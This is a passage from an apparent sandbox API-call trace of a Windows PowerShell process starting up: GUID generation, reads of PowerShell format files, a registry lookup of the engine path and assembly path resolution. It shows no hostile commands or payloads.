pguid=0x2be628*(Data1=0x3353debd, Data2=0x7dd, Data3=0x4fcb, Data4=([0]=0x94, [1]=0x19, [2]=0x5e, [3]=0xf2, [4]=0xe7, [5]=0xb0, [6]=0x56, [7]=0x33))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2f80bc49, Data2=0x68a9, Data3=0x489f, Data4=([0]=0xa8, [1]=0x47, [2]=0xc0, [3]=0x6e, [4]=0xda, [5]=0x33, [6]=0x5e, [7]=0x55))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xa001122f, Data2=0xdd8, Data3=0x4637, Data4=([0]=0x97, [1]=0xae, [2]=0x13, [3]=0xef, [4]=0x0, [5]=0x21, [6]=0xe7, [7]=0x84))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xac03afae, Data2=0x9151, Data3=0x4d2c, Data4=([0]=0xad, [1]=0x33, [2]=0x4b, [3]=0x7c, [4]=0x59, [5]=0xa0, [6]=0xfb, [7]=0x53))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x60570d8e, Data2=0xb56c, Data3=0x4b66, Data4=([0]=0xa2, [1]=0x6f, [2]=0x15, [3]=0xf8, [4]=0xf2, [5]=0xc3, [6]=0x4e, [7]=0xa2))) returned 0x0 [0150.176] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8fc2c268, Data2=0x2ce1, Data3=0x4a6f, Data4=([0]=0x99, [1]=0xe0, [2]=0xb0, [3]=0xf, [4]=0xee, [5]=0x7a, [6]=0xd4, [7]=0x1d))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc061ca6f, Data2=0xd16a, Data3=0x4c21, Data4=([0]=0xad, [1]=0x75, [2]=0x25, [3]=0x47, [4]=0x4e, [5]=0xec, [6]=0x7b, [7]=0x97))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x79757700, Data2=0xe0fa, Data3=0x4151, Data4=([0]=0x9c, [1]=0x33, [2]=0xb4, [3]=0x2b, [4]=0xea, [5]=0x8, [6]=0xfb, [7]=0x8a))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4f965125, Data2=0x38e, Data3=0x421d, Data4=([0]=0x9c, [1]=0x73, [2]=0x87, [3]=0x5b, [4]=0xa3, [5]=0xef, [6]=0xc4, [7]=0xbb))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xcbd1195a, Data2=0x3b6c, Data3=0x4b0c, Data4=([0]=0x9e, [1]=0x93, [2]=0xc4, [3]=0x3f, [4]=0x14, [5]=0x98, [6]=0x17, [7]=0x1a))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x611f9089, Data2=0x8cd0, Data3=0x4b09, Data4=([0]=0x80, [1]=0xb9, [2]=0x65, [3]=0xdd, [4]=0x8f, [5]=0x58, [6]=0xc3, [7]=0x5c))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4d006325, Data2=0x6948, Data3=0x4f23, Data4=([0]=0x89, [1]=0x14, [2]=0x45, [3]=0xd1, [4]=0x54, [5]=0x75, [6]=0xe6, [7]=0x23))) returned 0x0 [0150.177] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6d83f181, Data2=0xe123, Data3=0x4129, Data4=([0]=0x9c, [1]=0x47, [2]=0xc5, [3]=0xb4, [4]=0xc0, [5]=0x91, [6]=0x97, [7]=0x55))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8265f768, Data2=0x49f4, Data3=0x4f82, Data4=([0]=0xa9, [1]=0xbd, [2]=0x7f, [3]=0xa0, [4]=0xa, [5]=0x49, [6]=0x6c, [7]=0x79))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x87e9abff, Data2=0xbbb2, Data3=0x42dd, Data4=([0]=0x94, [1]=0xc0, [2]=0x5c, [3]=0x9c, [4]=0x3f, [5]=0xe4, [6]=0xcb, [7]=0x8c))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x88395826, Data2=0x8337, Data3=0x4530, Data4=([0]=0x85, [1]=0x79, [2]=0x67, [3]=0x9a, [4]=0x55, [5]=0xc1, [6]=0x16, [7]=0x1a))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8c574274, Data2=0xeeb2, Data3=0x4b73, Data4=([0]=0xa8, [1]=0x68, [2]=0x40, [3]=0xec, [4]=0x28, [5]=0x99, [6]=0xaa, [7]=0x5c))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9c75eb35, Data2=0x1584, Data3=0x48c6, Data4=([0]=0xa8, [1]=0xb0, [2]=0xe7, [3]=0x11, [4]=0x1a, [5]=0x46, [6]=0xfd, [7]=0xaa))) returned 0x0 [0150.178] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xb8b0b494, Data2=0x5f15, Data3=0x447c, Data4=([0]=0x9f, [1]=0xaa, [2]=0xb7, [3]=0x68, [4]=0x2f, [5]=0x7c, [6]=0x9c, [7]=0xb7))) returned 0x0 [0150.179] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x75af83ee, Data2=0x1aed, Data3=0x417f, Data4=([0]=0xa6, [1]=0x35, [2]=0xb4, [3]=0xd5, [4]=0xc5, [5]=0x45, [6]=0xa2, [7]=0x41))) returned 0x0 [0150.179] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xd9e0f7f5, Data2=0xc53b, Data3=0x4793, Data4=([0]=0xac, [1]=0xfb, [2]=0xb8, [3]=0x9f, [4]=0x25, [5]=0xbd, [6]=0xb7, [7]=0xa7))) returned 0x0 [0150.180] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2c1e0331, Data2=0xfae5, Data3=0x4c7a, Data4=([0]=0x8e, [1]=0xc6, [2]=0x69, [3]=0xe4, [4]=0x3c, [5]=0xf4, [6]=0x37, [7]=0x31))) returned 0x0 [0150.180] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9283cea5, Data2=0x6231, Data3=0x4460, Data4=([0]=0x84, [1]=0xa4, [2]=0x15, [3]=0x2e, [4]=0xf5, [5]=0x79, [6]=0x88, [7]=0xc8))) returned 0x0 [0150.180] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x3c4ba6d7, Data2=0x2444, Data3=0x4b9e, Data4=([0]=0xbd, [1]=0x36, [2]=0x5, [3]=0x8e, [4]=0x9f, [5]=0x3, [6]=0xe, [7]=0x28))) returned 0x0 [0150.180] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x3f5d9e28, Data2=0x7baf, Data3=0x4221, Data4=([0]=0xa2, [1]=0x73, [2]=0xd1, [3]=0xce, [4]=0x5a, [5]=0x2d, [6]=0xfc, [7]=0x9a))) returned 0x0 [0150.181] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xa7bfecc1, Data2=0x2c9d, Data3=0x4da6, Data4=([0]=0x9c, [1]=0xba, [2]=0x81, [3]=0xec, [4]=0xa1, [5]=0x60, [6]=0x9, [7]=0x67))) returned 0x0 [0150.181] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x27c458dc, Data2=0xd763, Data3=0x4dc8, Data4=([0]=0x88, [1]=0x7a, [2]=0x29, [3]=0x7e, [4]=0x6c, [5]=0x28, [6]=0xe2, [7]=0xde))) returned 0x0 [0150.181] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x15f87cab, Data2=0x27c4, Data3=0x4579, Data4=([0]=0x97, [1]=0x91, [2]=0xc5, [3]=0x14, [4]=0x3e, [5]=0x9c, [6]=0x89, [7]=0xf7))) returned 0x0 [0150.181] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xf898310e, Data2=0xc2d, Data3=0x42f6, Data4=([0]=0xb7, [1]=0xfc, [2]=0x72, [3]=0x0, [4]=0x7e, [5]=0xfa, [6]=0xfb, [7]=0x73))) returned 0x0 [0150.181] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x56b22c37, Data2=0x7104, Data3=0x45e3, Data4=([0]=0x99, [1]=0xb1, [2]=0xe2, [3]=0xa8, [4]=0x33, [5]=0x7, [6]=0xb7, [7]=0x73))) returned 0x0 [0150.182] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x472047ce, Data2=0xdb8c, Data3=0x4b18, Data4=([0]=0x9a, [1]=0x8, [2]=0xb3, [3]=0x58, [4]=0xae, [5]=0x49, [6]=0xe0, [7]=0xf8))) returned 0x0 [0150.182] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9f0c687a, Data2=0xe3dd, Data3=0x42ae, Data4=([0]=0x95, [1]=0x20, [2]=0x52, [3]=0xe8, [4]=0x3b, [5]=0x57, [6]=0xb7, [7]=0xf0))) returned 0x0 [0150.182] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x1ef4ce09, Data2=0x4e9b, Data3=0x463b, Data4=([0]=0x8b, [1]=0xa3, [2]=0xfc, [3]=0x23, [4]=0x3a, [5]=0xac, [6]=0x4b, [7]=0x71))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x82f56049, Data2=0xf796, Data3=0x4f4b, Data4=([0]=0x8b, [1]=0xc6, [2]=0x7, [3]=0x7b, [4]=0x1e, [5]=0x58, [6]=0xf5, [7]=0x25))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x1447345d, Data2=0x5b8d, Data3=0x40c6, Data4=([0]=0xa3, [1]=0xcd, [2]=0xa3, [3]=0x96, [4]=0x85, [5]=0x2d, [6]=0x8b, [7]=0x40))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x59d19ffe, Data2=0x6969, Data3=0x4042, Data4=([0]=0x99, [1]=0xfe, [2]=0xe4, [3]=0x49, [4]=0x56, [5]=0x46, [6]=0x9b, [7]=0xa0))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x3d9403fa, Data2=0x9a23, Data3=0x4e93, Data4=([0]=0x9b, [1]=0x5d, [2]=0x1b, [3]=0x22, [4]=0xf5, [5]=0xee, [6]=0x19, [7]=0x5a))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xe493db33, Data2=0x47ed, Data3=0x4822, Data4=([0]=0x8c, [1]=0xa1, [2]=0xe4, [3]=0xbb, [4]=0x4, [5]=0x69, [6]=0x7e, [7]=0xc4))) returned 0x0 [0150.183] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xdff4877, Data2=0xa89f, Data3=0x4b92, Data4=([0]=0x9e, [1]=0x60, [2]=0xee, [3]=0x85, [4]=0xb2, [5]=0xaf, [6]=0xfc, [7]=0x87))) returned 0x0 [0150.184] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x337199c, Data2=0x386f, Data3=0x49ea, Data4=([0]=0xa2, [1]=0xcf, [2]=0xf2, [3]=0x84, [4]=0x2d, [5]=0xa6, [6]=0x35, [7]=0x45))) returned 0x0 [0150.184] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4e862b4e, Data2=0x606f, Data3=0x4d1f, Data4=([0]=0x85, [1]=0x5, [2]=0xc5, [3]=0xf1, [4]=0x5b, [5]=0x5e, [6]=0x83, [7]=0x75))) returned 0x0 [0150.184] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x8da7228c, Data2=0x68aa, Data3=0x4799, Data4=([0]=0xa6, [1]=0x5b, [2]=0xd3, [3]=0x28, [4]=0x49, [5]=0x87, [6]=0xa6, [7]=0x22))) returned 0x0 [0150.184] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4da4c988, Data2=0xbb7c, Data3=0x4d6a, Data4=([0]=0xaf, [1]=0x6, [2]=0x78, [3]=0xd, [4]=0x38, [5]=0x20, [6]=0xcc, [7]=0x86))) returned 0x0 [0150.185] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4c29e102, Data2=0x4383, Data3=0x43f4, Data4=([0]=0xaa, [1]=0xe9, [2]=0x2a, [3]=0x5d, [4]=0xd9, [5]=0x12, [6]=0x9e, [7]=0x5d))) returned 0x0 [0150.185] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xc2bd9203, Data2=0xc5a9, Data3=0x4056, Data4=([0]=0x80, [1]=0x99, [2]=0x0, [3]=0xb3, [4]=0xfd, [5]=0x53, [6]=0xf7, [7]=0xeb))) returned 0x0 [0150.193] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0150.194] GetLastError () returned 0x0 [0150.194] GetFileType (hFile=0x344) returned 0x1 [0150.194] SetErrorMode (uMode=0x1) returned 0x1 [0150.194] GetFileType (hFile=0x344) returned 0x1 [0150.194] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.214] GetLastError () returned 0x0 [0150.215] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.220] GetLastError () returned 0x0 [0150.221] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.222] GetLastError () returned 0x0 [0150.222] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.222] GetLastError () returned 0x0 [0150.224] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x8b4, lpOverlapped=0x0) returned 1 [0150.224] GetLastError () returned 0x0 [0150.224] ReadFile (in: hFile=0x344, lpBuffer=0x339bda0, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339bda0*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.225] GetLastError () returned 0x0 [0150.225] ReadFile (in: hFile=0x344, lpBuffer=0x339c94c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x339c94c*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.225] GetLastError () returned 0x0 [0150.225] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x344) returned 0x0 [0150.226] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.226] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.226] RegCloseKey (hKey=0x344) returned 0x0 [0150.229] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x4fc46c5, Data2=0xf731, Data3=0x401b, Data4=([0]=0x98, [1]=0xa5, [2]=0x11, [3]=0x3e, [4]=0x39, [5]=0xda, [6]=0xf0, [7]=0xd3))) returned 0x0 [0150.229] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x2b18adeb, Data2=0xbb0a, Data3=0x4eba, Data4=([0]=0x8c, [1]=0xda, [2]=0x46, [3]=0xe4, [4]=0x41, [5]=0x73, [6]=0xf1, [7]=0x4e))) returned 0x0 [0150.230] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0150.230] GetLastError () returned 0x0 [0150.230] GetFileType (hFile=0x344) returned 0x1 [0150.230] SetErrorMode (uMode=0x1) returned 0x1 [0150.230] GetFileType (hFile=0x344) returned 0x1 [0150.231] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.273] GetLastError () returned 0x0 [0150.274] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.275] GetLastError () returned 0x0 [0150.276] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.276] GetLastError () returned 0x0 [0150.276] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0150.276] GetLastError () returned 0x0 [0150.278] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0xe98, lpOverlapped=0x0) returned 1 [0150.278] GetLastError () returned 0x0 [0150.278] ReadFile (in: hFile=0x344, lpBuffer=0x33d2e90, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d2e90*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.278] GetLastError () returned 0x0 [0150.278] ReadFile (in: hFile=0x344, lpBuffer=0x33d3858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x33d3858*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0150.278] GetLastError () returned 0x0 [0150.279] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x344) returned 0x0 [0150.279] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.279] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0150.279] RegCloseKey (hKey=0x344) returned 0x0 [0150.294] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xab75de4d, Data2=0x52b2, Data3=0x4f37, Data4=([0]=0x82, [1]=0xf6, [2]=0xfc, [3]=0x7d, [4]=0x71, [5]=0x18, [6]=0x85, [7]=0x1))) returned 0x0 [0150.294] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x9a89b908, Data2=0x68aa, Data3=0x4690, Data4=([0]=0x9c, [1]=0xb8, [2]=0x26, [3]=0xd, [4]=0x30, [5]=0x1, [6]=0xfb, [7]=0x7c))) returned 0x0 [0150.341] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0150.341] GetLastError () returned 0x57 [0150.342] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0150.342] GetLastError () returned 0x57 [0150.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0150.380] GetLastError () returned 0x57 [0150.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0150.380] GetLastError () returned 0x57 [0150.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0150.387] GetLastError () returned 0x57 [0150.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0150.387] GetLastError () returned 0x57 [0150.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0150.390] GetLastError () returned 0x57 [0150.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0150.391] GetLastError () returned 0x57 [0150.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0150.393] GetLastError () returned 0x57 [0150.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0150.394] GetLastError () returned 0x57 [0150.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0150.396] GetLastError () returned 0x57 [0150.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0150.397] GetLastError () returned 0x57 [0150.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0150.399] GetLastError () returned 0x57 [0150.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2be300, lpFilePart=0x0 | out: 